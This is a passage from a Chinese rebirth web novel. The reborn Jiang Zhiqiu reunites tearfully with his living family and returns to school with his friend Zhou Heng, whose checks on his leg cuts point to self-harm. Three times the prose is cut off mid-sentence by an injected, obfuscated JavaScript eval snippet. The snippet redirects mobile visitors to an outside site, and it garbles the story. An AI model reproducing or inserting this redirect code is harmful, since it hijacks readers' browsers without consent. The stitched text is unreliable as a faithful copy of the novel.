菜市场顶上搭了个棚子,人非常多,江知秋猛地落进一片嘈杂中,密密麻麻的噪音像电视故障时出现的噪点型雪花,但江知秋今天的眩晕并不严重,似乎从知道他重生的时候起他的幻觉就在慢慢减轻,他慢慢跟在江渡和陈雪兰身后。 这里比其他地方热,江渡和陈雪兰没逛多久就热得出了一身汗,买完今天的菜打算直接回去,快走到门口的时候被人认叫住,转头看到个略微眼熟的人,对方笑着说,“还真是你们,我刚在那边就觉得像。你们家秋儿都长这么高了?” 江知秋拎着菜站在江渡和陈雪兰身后等。 从你们家孩子到我们家孩子,再互问对方父母身体,最后以客气邀请对方去家里坐坐、对方再三推脱结尾,这么一套组合拳下来已经是半个小时后,送走这个远亲后江渡和陈雪兰都松了口气,然后相视一笑。 “走了秋儿。”陈雪兰拉住江知秋,“等久了吧?” 江知秋摇头。 市场入口不远有个跛脚老太太摆了个摊子在卖钩织的小动物,陈雪兰叫父子俩等她,蹲下来挑了个黄不溜啾的小圆鸡仔,问老太太,“多少钱一个?” “十块。小娃娃都喜欢,要不要给家里的小娃娃买一个?” 陈雪兰闻言看向家里的小娃娃,老太太钩的小动物品种不算多,但都挺可爱,估计是舍不得集市那边的摊位费,所以才来这边人多的地方卖。每次赶集都有不少这种老人,只要上面没来视察,市场管理员一般都睁一只眼闭一只眼。 陈雪兰看了总共没多少个,让老太太都卖给了她,老太太去找了个大袋子给她装上。 等走远后江渡才笑着说,“买这么多,秋儿又不爱玩儿。” 陈雪兰把最开始拿的那只小黄鸡仔给江知秋,“谁说要给他玩儿,我们科室的小孩打针闹腾得不行,我揣几个在身上哄哄,救救耳朵。” 江知秋低头看小鸡仔,圆溜溜的小鸡仔戴着一顶淡蓝色小帽,眼睛是缝的两枚扣子,十分可爱。零零散散的回忆片段从脑海里一闪而过,江知秋没能抓住,片刻,他蜷起手指,攥紧小鸡瘪嘴,飞快眨了两下眼睛,深吸了口气。 回家路上江渡接到个电话,挂了后对陈雪兰说,“妈今天来了。” “那菜是不是不够?”陈雪兰说,“再去买点?” “我去。”江渡把手里的袋子交给她和江知秋,“妈已经到家了,你们先回去吧。” “那你记得买条鱼。” “好嘞。” 江渡匆匆折回去菜市场,陈雪兰和江知秋先回家,“我刚才出门的时候还在想今天是大集,你奶奶会不会来呢。” 江知秋眼眶微微发热。 邓奉华只有江渡一个孩子,这些年一直都住在老家,年轻的时候和江知秋的爷爷种了不少地,现在就只剩下两块小的地,平时种点应季蔬菜,养几只鸡鸭打发时间,要是有多的就往他们这里送。她有家里的钥匙,陈雪兰和江知秋到家的时候她正坐在院子里,角落不安窝着只被捆住脚的公鸡。 陈雪兰叫了她一声,邓奉华抬头笑眯眯说,“这么快就回来了?”见江知秋跟在后面,她有些疑惑,“秋儿今天没去学校?是生病了?” 江知秋看见她的瞬间眼泪就决了堤,邓奉华立马起身,“哎哟,怎么了这是?” 陈雪兰转回去看到儿子又通红着眼掉眼泪,也有些疑惑他今天到底怎么了,从早上起床就一直哭,“怎么了,秋儿?” 江知秋摇头,微微张着嘴呼吸,眼泪不断往下掉,眼眶和鼻尖通红。 “他这两天身体不舒服,可能是这个。”陈雪兰只好先跟邓奉华解释,接过江知秋手里的塑料袋让他坐下来。 “怎么不给我打电话?”邓奉华责备说,“也不让我来镇上看看秋儿。” “不是什么大毛病,我和江渡就没告诉您。”陈雪兰抽了张纸给江知秋擦泪,“别哭了宝贝儿,再哭眼睛还想不想要了?” “……我想你们。”江知秋有些崩溃和绝望,声音颤抖着变了点音,“我好想你们。” 陈雪兰没太听懂,但有些心疼,摸摸他的脑袋软声安抚,“我们不是在这里吗?不哭了啊宝贝儿,爸妈在,奶奶也在。” 江知秋却无法解释,没人懂他的难过,他眼泪滂沱着摇头,衣服湿了一大块。他哭得这么伤心,邓奉华探了下他的额头,又摸他的手,“秋儿,不哭了,奶奶在呢。” 江知秋泪眼婆娑看她,小老太太头发花白,但精神头很足,这会十分担心他,他眼泪流得更厉害。 他一直在说想他们,也说不出个缘由。陈雪兰和邓奉华听着听着也渐渐觉得难过,就差跟小时候一样把孩子背在背上哄,直到江渡回来,江知秋这次突如其来的崩溃才逐渐抽离。 江渡看了眼他的兔子眼睛,把菜放进厨房跟陈雪兰说悄悄话,“又哭了?” 陈雪兰把刚才江知秋说的话转述了一遍,江渡也没听懂,夫妻俩面面相觑,但好在江知秋已经控制住失控的情绪。 “怎么生了个水娃。”江渡小声和陈雪兰说,“别人家都是女儿是水做的,咱们家儿子也是。” “瞎说。儿子哪有这么爱哭,小时候打针都不哭。”陈雪兰忍着笑抽了他一巴掌,“你别去惹他,我看他刚才哭得都有点呼吸性碱中毒,我就这一个儿子,别给我送医院去。” 邓奉华去楼上拿了条毯子盖江知秋身上,江渡跟着走到门口,“睡着了?” “睡着了。”邓奉华说。 今天天气好,她没叫醒江知秋,睡着了总比醒着一直哭好。一楼客厅都是邓奉华带来的新鲜蔬果,江渡说,“您怎么不打电话叫我开车回去接您。” 江知秋只睡了十几分钟,醒了之后望着树枝上的绿芽出了会神,耳边的嗡鸣渐渐散去,不远处的交谈声传进耳朵,他眨了下眼,眼角很快划过温热。 这段时间躺下来就会出现的坠落感这次没有出现。 好像在他知道他的死亡后它就消失了,他终于落到了底。 江知秋又眨了下眼睛。 “醒了?”江渡拿了冰块从屋里出来看到他睁着眼睛,“要起来吗?” “……嗯。” “你其他六个兄弟去哪儿了?”江渡打趣他,见江知秋满眼疑惑,知道他没听懂,忍着笑把冰块交给他,“自己把眼睛敷一敷。” 江知秋撑着坐起来接过冰块,眼睛有些肿痛,一双漂亮的大眼睛变小不少,江渡揉了下他的脑袋,怕惹他哭没说什么。 江知秋低下头,一滴泪砸在裤腿,洇出湿痕。 江知秋眼睛肿成这样不好出门,再加上邓奉华也来了,江渡和陈雪兰也放弃了去集市上逛逛的想法。邓奉华亲自下厨做饭,江渡和陈雪兰在厨房打下手,江知秋站在门口看了会儿,也进去了。 邓奉华做了江知秋喜欢的夹沙肉,蒸熟了之后给江知秋挑了一块,“好吃吗?” 夹沙肉很甜,江知秋喉咙滚了两下,声音有些破碎,“好吃。” 邓奉华笑眯眯又给他夹了块。 江知秋现在不爱看手机,院子门虚掩着,中午周衡经过时看到邓奉华也在,顿了顿,没进来打扰他们,直接回了家,等晚上下晚读后才来。 江知秋不想让邓奉华走,江渡和陈雪兰就顺势让邓奉华留下来住两天。光是江渡和陈雪兰说老太太不一定乐意留下来,但江知秋开口,邓奉华就同意了。 邓奉华也认识周衡,看到他来还慈爱笑着和他说话,“放学啦?” “放了,奶奶。”周衡目光落在江知秋还没完全消去红肿的眼眶,心知他又哭了,对邓奉华笑了笑,“我来找秋儿。” “你俩去吧。”邓奉华说。 江知秋看看周衡又看看邓奉华,最后还是跟周衡去了房间。 周衡看到他摆在书桌上的戴小蓝帽的小黄鸡,拿起来捏了两下,里面塞的是棉花。他想起以前江知秋也有这只鸡,但后来不知道为什么不见了。周衡放下小黄鸡,从衣柜里取出昨晚的那条短裤,“换上,给我看看你的腿。” 江知秋听话去换了裤子,周衡撩起他的裤腿仔细检查,见都结了薄薄的痂,也没有出现新的刀痕才放心,拿来软膏又上了次药,“明天早上我来接你。” “不想去。”江知秋神色恹恹,声音有些沙哑。 周衡一顿,知道他为什么不想去,旋紧软膏的盖子,“重生一次我们的好学生还变成厌学的坏孩子了?” 江知秋不说话。 “还得再高考一次呢。”周衡捏他的脸,“你现在可没有大学文凭。今晚乖乖睡觉,等我明天来接你上学。” 见他不说话,周衡又说,“还记得我昨天跟你说过什么吗?” 江知秋抬眼看他。 “你重生了,你可以帮所有人改变未来,他们能不能有未来都得靠你。”周衡说,“以后和你爸妈还有好多年时间。他们一直都希望你能好好读书,考上大学。” 如果他们是在高考完的那一年,他还记得高考题的时候就重生回来,那江知秋不去学校也可以,想在家里待多久就待多久,但很可惜的是他们重生的时候高考早就过了很久,别说他一道题都想不起来,他连每科的考试顺序都不太记得了。 江知秋现在记忆比他还差,要是不上学,别说想再考上他前世的大学,连个专科都说不定考不上。 “等你帮你爸妈避开那场塌方,他们就可以一直陪着你,直到你四十岁,五十岁。”周衡最后说。 江知秋没吭声,也不知道有没有听进去。 这两天林蕙兰脾气不太好,周衡不敢惹她,再加上看出江知秋现在其实更想和家人在一起,他今晚没留多久,走的时候还顺走几本江知秋以前的课本和笔记。 江知秋出去时陈雪兰还在奇怪,“今天衡儿怎么走这么早?” 江知秋摇头,坐下来靠在她肩上陪他们看电视。他今天一整天都黏着他们,不管什么时候转头都能看到他在,跟苍耳似的黏人。 陈雪兰摸摸他的脸。 “不想上学。”江知秋蔫蔫说。 “不行哦。”陈雪兰说。 “……” 林蕙兰在网上新买的逗猫棒到了,在二楼逗啾啾玩儿。 周衡跟她打了声招呼才回房间,把昨晚给江知秋他们拍的视频从手机导到电脑上稍微剪了两下,思索片刻,在手机应用商店找到一个下载量最多的视频app下载,等下载完成后注册了个账号,把视频导回手机,在发出去之前突然有些犹豫。 未来那个风靡全球的短视频平台现在还在起步阶段,连它的前身都还要等几个月才上线,他现在下的这个视频app会在短时间内迅速消失,周衡现在暂时有个想法,但还没成形。 以前他做的视频都是科学实验和科普类,基本用的七中的设备,温中没有这个条件,以前的路子不太行得通。周衡顿了顿,退出发布界面,翻开江知秋的课本和笔记本。 江知秋是学委,以前的笔记做得很详细,字体是专门练过的行楷,又融了自己的笔风,非常赏心悦目,经常被各个老师拿去当作范本,周衡记得以前张正还说过江知秋的笔记猪拿去看了都能看懂。 快到凌晨,他起身走到窗边,探身看向江知秋房间的方向。 江知秋房间一片漆黑,看不到什么。 微信和Q·Q都只有他一个人的气泡,江知秋一个字都没回。 周衡两根手指犯瘾地捻了两下。他回家的时候没买烟,他爸这段时间也在戒烟,一时之间家里还真没烟给他偷。 次日一早,周衡出现在江家院门外,等了几分钟才等到江知秋出门,江知秋眼睛的肿消得差不多了,不仔细看不怎么看得出来,校服拉链依旧拉到下巴,脖子上挂着校牌,单肩包的拉链上挂着陈雪兰昨天给他的那只小鸡。 挺可爱的。 周衡轻轻笑了下,等他坐稳后才勾踏板。 周一早上有升旗,学生会的值日生和张正在校门口抓走读生的仪容仪表,没穿校服和没带校牌的都被他拎在一边站着,周衡和江知秋从他面前经过,他飞快扫了眼,见他们都有校服和校牌就去盯着其他人了。 两人刚进校门,伍乐从他们身边飞奔而过。大概慢一拍反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170536|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来看到他们了,伍乐龇牙咧嘴倒退着回来,“稀客啊秋儿,今天终于来了?你身体好了?” 江知秋看着他,周衡捏他的手,目光点了下伍乐的书包,“装了多少?” 伍乐家里开了家早餐店,他经常给吃腻了食堂的住校生带早饭,偶尔还帮忙给充电宝充电,不收跑腿费。学校允许住校生给自己带早饭,不允许帮住校生带,所以伍乐每天都揣在书包里背着。 “装满了。”伍乐咧嘴一笑,又着急忙慌说,“我操烫死了,背都要被烫熟了。兄弟先走一步,886!”说完就跑了,消失在校园大道。 周衡偏头看江知秋,见他还盯着伍乐消失的方向,眼睛微亮,抬手蹭了下他的眼尾,碰到一点湿润,顿了顿,“走吧?” 伍乐也还活着。 江知秋呼吸微滞,“嗯。” 他们到教室的时候伍乐已经把早饭都分给了大家,没来教室的就放在桌上。伍乐把头埋进书包里闻,然后又闻被烫得有些变形的书,一股包子和油条味,看到他俩进来直接丢开课本,“英语周报写了没?给我抄一下。” 第一单元还没学完,向雪只给他们勾了几道题做,周衡把周报给他,伍乐说了句“谢了”,抬头看到江知秋一直看着他,觉得他眼神有点怪,下意识摸自己的脸,“?我脸上有脏东西?” “没什么,赶紧抄你的。”周衡扶着江知秋的脸转回去。 伍乐一头雾水。 周衡贴在江知秋耳朵边说,“他也是真的。” 江知秋以前情况最差的时候经常能幻听十六岁的伍乐在窗外叫他出去玩,原本他们住的地方没封阳台和窗,后来江知秋因为幻听差点从楼上掉下去之后他们就换到了后来的那套房子。 江知秋“嗯”了声,低头解拉链上的小鸡。 周衡低眼看着他。 “你俩干嘛呢?凑这么近。”费阳的声音从头顶传来,周衡和江知秋抬头,费阳看到江知秋的小鸡,边拿过去捏着玩边哈哈笑着说,“不知道的还以为周衡你要亲秋儿呢。” 周衡垂眼看江知秋,江知秋和他分开,他微顿,皱眉看向费阳,“乱说什么。” “开个玩笑。”费阳也没放心上,从书包里掏了个丑橘放江知秋桌上。 八点钟头顶的广播才叫所有人去操场升旗,值周老师总结上周的工作后又提起了网吧的事,重点强调不准学生去网吧,再被抓到直接记过。 周衡他们长得高,都站在班级后排,费阳小声和他们说话,“还好老张手下留情没把咱们拎上去丢人。” 伍乐附和,“老张这人能处。” “老张过来了。”赵嘉羽提醒他们。 两人立马闭嘴。 方阵时不时传出说话声,张正在抓人,但他走到哪儿哪儿就老实,估计他又有心放他们一马,半天没抓出个典型,只是拉着脸盯着他们这个方向。 现在出太阳了。微凉清新的空气卷入肺腑,江知秋仰头看着天。大概是经历过一次死亡的缘故,他现在关于以前的记忆一直都很模糊。 周衡扯他的衣袖,江知秋目光逐渐从天空移到他脸上,周衡对上他的眼睛,但江知秋很快移开了。升旗仪式开了快一个小时,直到解散,江知秋也没开口说话。 “怎么不把第二节课也顺便开完。”费阳搭着赵嘉羽的肩跟他们抱怨,“还得回去上课。” “太厌学了兄弟。”伍乐嘻嘻哈哈说,“你这种人就不懂我们读书人的快乐。” 费阳似笑非笑,“我洒周衡的糯米还剩了点,你也想要了?” 听到厌学周衡偏头看向江知秋,江知秋正出神看着一个苗条的背影。 周衡顺着他的目光看过去,女生似有所感,微微侧头回看,他没认出来,很快收回眼神,抬手在江知秋面前晃了下,“在看什么?” 江知秋脑中闪过一些记忆片段,即将突破模糊的画面时忽然被周衡伸到面前的手打散,他回过神,“没什么。” 周衡于是按住他的后颈往身边带了带。 周一下午有节体育课,体育老师习惯先让他们跑几圈热身才开始上课,江知秋请了假,不用跟着跑。周衡跑步时不时分神看他,上一眼还看到他坐在台阶上,等下一眼再看就看到他已经躺倒,也不嫌脏,他无声勾了下唇角。 几个人原本在一起跑,费阳突然看见周衡提速超过他们,“?” 日光映在眼皮上,眼前一片通红,江知秋还在想之前掠过的记忆片段。它好像被笼了层白雾,江知秋无论如何也拨不开。 周衡很快跑完,捞起跑道边的矿泉水边喝边走向江知秋。 江知秋没感应到他的靠近,周衡在他身边蹲了好几分钟也没见他有什么反应。 跑完步的同学三三两两聚在跑道边,周衡去花坛里找到根狗尾巴草,挡住江知秋的太阳扫了两下他的鼻尖。 江知秋小声打了个喷嚏,皱着眉睁开眼,看到上方周衡的脸。 “睡着了?”周衡拿开狗尾巴草倒着笑着看他,十七岁的脸还有几分少年的稚嫩。 江知秋凝视了他片刻,模糊的记忆终于有了部分清晰的片段。他想起高一上学期,在看到周衡和庄莹走得近时他其实有想过要不要去和周衡表白。 但在此之前,他收到一封需要他转赠的情书。认识他们的人都知道他俩关系好,文科班的某个女孩不好意思直接把情书交给周衡,所以拜托他帮忙转赠。 青春期最恶劣的时候江知秋甚至想过把这封情书藏起来不给周衡,但女孩是真心拜托他帮忙,他最后还是帮她把这封情书交给了周衡。 周衡认真看完之后加了女生的联系方式拒绝了她的心意,连江知秋都不知道他们的聊天内容,后来路上遇到她周衡也没和她打过招呼,他没将女生的事说出去,女生也很快放弃了他,这件事除了他们三个人以外没人知道。 江知秋问周衡为什么拒绝了还要做到这种地步。 “我又不喜欢她,拒绝就要拒绝得彻底点。”周衡挑了下眉,“我知道她喜欢我还离她那么近干什么?那不是钓着她的渣男吗?当然要离远点。” 江知秋犹豫着追问,“那如果是你认识的人呢?” 周衡毫不犹豫,“那更要跑快点,兔子还不吃窝边草呢。”他反应过来,“你听谁说要跟我表白了?要是有你就顺便帮我拒绝了。” “没有。”江知秋立马说,“没人要和你表白。” “想什么呢?”周衡示意江知秋回神,在他身边重重一坐,他刚跑完步,只穿了件校服短袖,热气疯狂往外冒。 江知秋被他拉起来,“有女生和你表白。” “什么女生?不可能。我不喜欢她。”周衡嘴角一僵立马反驳,又问,“谁啊?” 江知秋只是实话回答了他,没想起来那个女生是谁,“不知道。” 周衡感觉背上突然被扣一口大锅,深吸一口气,把他按到身上一通揉,“哥要被你吓死了。” 江知秋挂在身上的小鸡仔被挤扁。 基本都跑完圈了,体委是个高高瘦瘦的女生,在下面叫大家集合,见他们还在上面,叫了他们一声,“周衡江知秋,下来集合了。” 周衡条件反射回答,“来了姐妹。” 体委:“…………” 18.第 18 章 体育课在最后一节课,原本还有节自习,但体育课没人管,解散后大家都直接去了食堂。周衡从花溪牛肉米线窗口端了两份米线转身找江知秋,伍乐看到他在找,立马招手,“别找了,这儿呢姐妹~!” 费阳一口饭差点喷出来,听到班里女生在不远处笑得特别大声,转头看了眼。 一桌人刚上完体育课都脱了衣服穿得单薄,只有江知秋没出汗还穿着外套,周衡坐下来分给他一碗米线。 集合后他才回过味江知秋说的是什么意思,心说他还不如想不起来,一想起来就想个大的,差点没把他吓死,就差当场去找那个女生说清楚自证清白。 周衡呼噜两下噇了半碗米线,余光扫到江知秋秀秀气气挑起米线送进嘴边,顿了顿,噇食的动作慢下来。 伍乐坐在他俩对面,每次抬头都能撞到江知秋在看他,次数多了终于忍不住开口,“秋儿今天怎么老看我?” 他说话的时候江知秋也盯着他看,腮帮微微鼓着慢慢在动。 江知秋以前刚出现幻觉的时候总是回应,收到了很多异样的眼光,后来周衡和心理医生教他无视才好点,但现在的是真的。周衡从江知秋兜里掏了包纸巾出来,替他回答,“你今天特别帅。” “再帅又没我帅,”费阳插进来,“秋儿别看他,看我,我比他帅。” 伍乐踹他,“妈蛋,给我滚。” 周衡慢条斯理开口,“要论这个的话,秋儿眼睛得粘我身上。” “你也滚。” 话题被岔开,赵嘉羽没加入他们,江知秋撞到他探究看过来的眼神,脑中闪过一些模糊的画面,不太好。江知秋慢慢别开眼,避开他的眼睛,看向食堂墙上电视里的喜羊羊。 食堂某个员工五岁的女儿现在在食堂玩,喜羊羊是放给她看的。 不远处的女生们先吃完饭,路过的时候姊妹情深拍周衡的肩,“走了姐妹。” 费阳和伍乐笑得差点埋进餐盘。 下课前十分钟他们吃完饭回去,教室现在零零散散没几个人,大家都还没回教室,太阳这会儿还没下山,从窗外斜照进来,将他们的影子拖得很长,但太阳在肉眼可见地消失,他们也渐渐感觉到了冷,穿上了外套,坐在一起说话。 晚自习的时候老师都被叫去开会,老师前脚刚走,教室就开始有些放肆,班长管了纪律,但嗡嗡声没停。 周衡把这两天他做的笔记给江知秋看,江知秋看了会儿,突然眼睛一闭往桌上一倒,周衡下意识伸手垫在桌上接住他,没让他直接磕桌上。 这模样是真厌学了。周衡有些想笑,突然想起一件他和江知秋小时候的事。他从小就厌学,上课不听课,江知秋成绩比他好,有次给他讲题讲了好几次他还说不懂,气得江知秋哭着拖他去找家长告状,害得他挨了顿打。他被打得嗷嗷叫,江知秋在旁边一边哭一边帮他求饶说叔叔阿姨别打了他害怕。 应该是这次被吓到了,后来江知秋再也没告过状。 周衡没忍住轻笑出了声,小心抽出垫在江知秋脑袋下的手,见他偏过头看过来,压着声说,“没事,趴着吧,我帮你看着老师。” 不学算了,之后他再找机会给江知秋补课。 江知秋在嗡嗡的环境音中闭上眼,周衡把他放在桌上的小鸡仔放到他脸颊边挨着,掏出手机拍了张照片,然后才继续看笔记。 这些东西都学过,曾经刷题刷到想吐,他现在看一眼就有点印象能想起来,复习的速度比想象中快一些。 老师们开了一个多小时的会,结束的时候也快下晚自习了,看到张正来了,周衡叫醒江知秋。 江知秋转头看了眼挂在教室后面的表,还有十分钟放学,他将小鸡仔挂到挎包拉链上。中午放学的时候老师刚说下课他就迫不及待站起身往外走,这会这个模样显然已经准备回家了,一秒钟也不愿意多耽搁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184977|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周衡拉着他,生怕他现在就站起来走了。 张正开完会显然有话要说,趁还没下课长话短说给他们开了场短班会,拖了两分钟才放他们下课。 家里给江知秋做了宵夜,江知秋进门就闻到一股浓烈霸道的鲜香麻辣,邓奉华在院子里等他回家,看他一个人进来,朝院子外张望,“衡儿呢?怎么不叫他一起进来?” “在外面。”江知秋说,但院门外现在空无一人。 陈雪兰见周衡没跟进来,只好让江知秋给他送了点宵夜过去。 周衡目送江知秋进去后将自行车掉头,找了家和他爸妈不熟的小商店买了烟和打火机,对方头也不抬让他扫码,周衡出来藏好烟和打火机才骑回去。 刚好和江知秋前后脚,林蕙兰没怀疑,她打了个哈欠,“桌上有宵夜,你吃了把碗放着就行,让你爸来洗,我先去睡了。” “知道了。”周衡把包随手扔沙发上。 青春期的周衡饭量很大,家里特意换了口大电饭煲,他一个人一顿能吃半锅。晚上林蕙兰给周衡做的宵夜,再加上江知秋送来的,加起来分量不小,周衡都吃完了,自己去洗了碗才回房间。 周衡回房间继续看书。 抬手不小心碰掉了一本笔记,周衡从地上捡起来,边喝水边翻。他昨天从江知秋那里顺了不少回来,这本笔记他还没看过,但很快他看清了里面的内容,喝水的动作一顿,神色微变。 这压根不是笔记本,这是江知秋的日记本。 周衡以前从来不知道它的存在,江知秋估计也早就忘了,所以才让他不小心带走了。他现在翻开的这一页写的内容不多,寥寥几笔:【睡觉前突然很想听到他的声音,于是悄悄听了他发的语音很多遍。我确定了,我的确喜欢他,但他好像只喜欢女生,不会喜欢我。啊。】 烟和打火机都还原封不动藏在包里没拿出来,周衡现在却突然有些犯瘾。 19.第 19 章 凌晨的温泉镇没有大城市的夜景,温中的走读生是最晚还停留在外面的那批人,等他们回家后,温泉镇就彻底沉默下去。周衡站在窗前,指间的猩红忽明忽暗。 江知秋的日记没写日期,周衡无法确定他是什么时候写的这篇日记,日记看起来似乎已经写了不少,但上辈子江知秋到死都没提过这个日记本,说明他并不想让他知道,周衡没往后翻。 周衡抽了两根烟,烟味终于驱散了点鼻腔里腐败的血腥味,作用不大,但聊胜于无。 江知秋一开始把他的喜欢藏得很好,谁都不知道他喜欢他。但周衡想起他拿到梦校offer后打算提前过去适应时,他接到了江知秋打来的视频电话。 他拿到offer之后就告诉了江知秋,但江知秋还不知道他要提前出国,他就顺便在视频的时候告诉他这件事。恰好和他关系不错的女同学也拿到了同一所学校的offer,他们这段时间经常见面交流,江知秋的视频打过来的时候女同学也在他身边。 江知秋听完后问他,“和你……朋友一起?” “对。”周衡偏了下手机,让女同学露了面后又拿正。 江知秋在对面愣了一下,然后说,“好。” 当时周衡觉得他反应有些平淡,但也没放在心上,挂了视频之后女同学忽然问他,“你这个发小是不是喜欢你?” 周衡愣了愣,又有些无语地笑,“你这不是废话么,我俩一块儿长大,感情好到能穿一条裤子,他不喜欢我难道讨厌我?” 当时女同学看他的眼神像在看智障。 后来他才反应过来这位女同学说的喜欢是情爱之间的喜欢,她当时也没看错,江知秋真的喜欢他。 但江知秋现在还是否喜欢他,他不知道。 冷空气源源不断侵入肺腑,周衡攥紧日记本的一角,深吸一口气,又点了根烟,在窗前站了许久才重新回到书桌前,怕第二天林蕙兰和周承闻到烟味,一晚上没关窗。 邓奉华惦记着老家的菜园和养的鸡鸭,在镇上住了两晚就要回去,江知秋知道后眼睛通红,差点又掉了眼泪。 睡觉前,陈雪兰路过江知秋房间看到门虚掩,走过去正要帮他关上,却看到邓奉华在里面,“妈?” 邓奉华回头让她小声点。 “睡着了?”陈雪兰说。 “刚睡着。”邓奉华慈爱摸着江知秋的脸,“这孩子一直说想奶奶。” “他好久没见到你了。”陈雪兰有些好笑,“他这段时间跟还小一样,老是撒娇,都十六岁了。” “不是还有几个月吗。”邓奉华说,灯光下的老太太慈眉善目,“挺好的。” 陈雪兰一直笑,“他就是仗着您宠他。” 江知秋半梦半醒间听到陈雪兰和邓奉华在说话,眼皮下的眼球一直转,想醒却迟迟没能醒过来,直到陈雪兰和邓奉华的气息逐渐远离,他才终于睁开眼。 今晚没有月光,房间里一片漆黑,孤寂瞬间蜂拥而至。 江知秋闭了下眼,起身下床,光着脚走出房间。 客厅的灯没开,但父母房间的门半敞,灯光铺出来,厕所里也亮着灯,传出邓奉华和陈雪兰低低的交谈声。江知秋略微慌乱的心安定下来,站在门前听了几分钟退回房间,拉开床头柜最下面的那一格抽屉。 许久之后,他重新躺回床上,沉入一片嘈杂,像是有很多人在一起说话,又有几道单独的人声离得很近,他努力听,但完全听不清。 一直到早上周衡在楼下叫他,这片嘈杂忽然如潮水般褪去。 江知秋猛地睁眼,用力喘了两口气,周衡上楼的动静已经逼近,房间门咚的一下撞到墙上,他看到江知秋还没起,顺手把两个笔记本放书桌上,翻出校服丢给江知秋,把他的小鸡挂到书包上,“快穿衣服,马上迟到了。” 江渡这会儿已经开车送邓奉华回老家,陈雪兰今天早上也睡过了头,周衡来的时候她才醒,隔着门和江知秋说,“还有十分钟,路上不用太着急,迟到就迟到了,安全第一。秋儿,你今天去学校食堂吃。” “好。”江知秋说。 三分钟后,他跟周衡出了门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191029|178566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 周衡带着他极限踩点到了教室,他们前脚才到座位,艾若雁后脚就进来了。 费阳偷偷对他们竖了下大拇指,“比我还会踩点。” 江知秋微微闭着眼喘气,他昨天没睡好,又没吃早饭,一路被周衡带着跑到教室,脑袋里一突一突地疼,脸色发白。 “难受?”周衡立马发现他不对劲,在桌肚下一通乱摸,找到昨天在小卖部顺手买的糖,剥了糖纸喂他嘴里,“先吃颗糖,别待会犯低血糖。待会下课哥带你去吃早饭。” 江知秋点头。 “背课文,待会上课我来抽背。”艾若雁在讲台上提醒他们。 大家顿时哀嚎一片。 江知秋休息了几分钟,头疼稍微好了一点。费阳转过来装作找他背课文,实则偷偷和他们说话,“你俩待会下课去食堂不?” “去。”周衡说。 “我就知道,来这么晚你俩肯定没吃饭。”费阳一乐,“一起。” 伍乐在后面听到他们说话,“帮我带杯豆浆。” 江知秋转头看他,答应了,“好。” 周衡微微一顿,没说什么。 “学校的豆浆是拿维维豆奶粉冲的,你干嘛不喝你家自己榨的?”费阳说。 艾若雁走到这边来了,几个人都噤了声开始装作背课文的模样。 早读的嗡嗡声和昨晚梦里的很像,江知秋恍惚了片刻,直到艾若雁提醒地敲了下他的桌子,他才回过神。 学校食堂不大,校领导采用分年级和时间段的方式分流吃饭,他们班这周在第二批,第一节早读课被延长,等终于下课,费阳揣起饭卡准备和周衡江知秋去食堂,见赵嘉羽没动,他问,“你不去?” “不去。”赵嘉羽淡淡说,“我吃过了。” 江知秋一顿。 这个时候他终于从梦里的嘈杂中剥出一道熟悉的人声。 “为什么乐乐死了?”赵嘉羽的脸看不清楚,他愤怒地咬牙切齿地质问,“你为什么要睡觉?” “为什么死的不是你?” 20.第 20 章 为什么伍乐死了? 江知秋在赵嘉羽的质问中脸色惨白,回忆瞬间如开了闸一般杂乱纷飞,填补了记忆的缺失。他想起来了。 “怎么了?”见他忽然全身都在发抖,周衡立马低声问他,“不舒服?那你留在教室等我买饭回来?” 江知秋慢慢抬眼,瞳孔仍旧微微紧缩,他唇角轻颤,喉咙里艰难挤出两个音,“我想起来了,伍乐……” 周衡瞬间明白他想起了什么,半搂半抱着他朝教室外走。 “诶?”费阳还在和赵嘉羽说话,等他们走了好一会儿才发现人不见了,忙追出去,但这两个人早就看不到影子了,他没找到人。 费阳挠挠头,“?”走这么快,干啥去了? 周衡没带江知秋下楼,而是去了天台。 他已经看出江知秋重生后的记忆出了问题。 江知秋的记忆经不起细究,他现在记得什么、不记得什么都很难说。他记得父母和伍乐会死,但又不记得当年出事的细节。他对这两段回忆有创伤,因此对此刻意回避,抑郁痛苦的情绪又拖着他,他消极逃避、不愿意主动去想,直到现在不知道是什么触动了他的回忆。 伍乐出事的时候周衡不在温泉镇,他后来才大致知道所有细节。 赵嘉羽小时候和伍乐是玩伴,后来跟父母去了外地,六年级的时候才和爸妈搬回温泉镇,转回本地上学,等升到初中以后才认识同班的江知秋和周衡、费阳三个人。在所有朋友当中,他们五个人关系维持的时间最久。 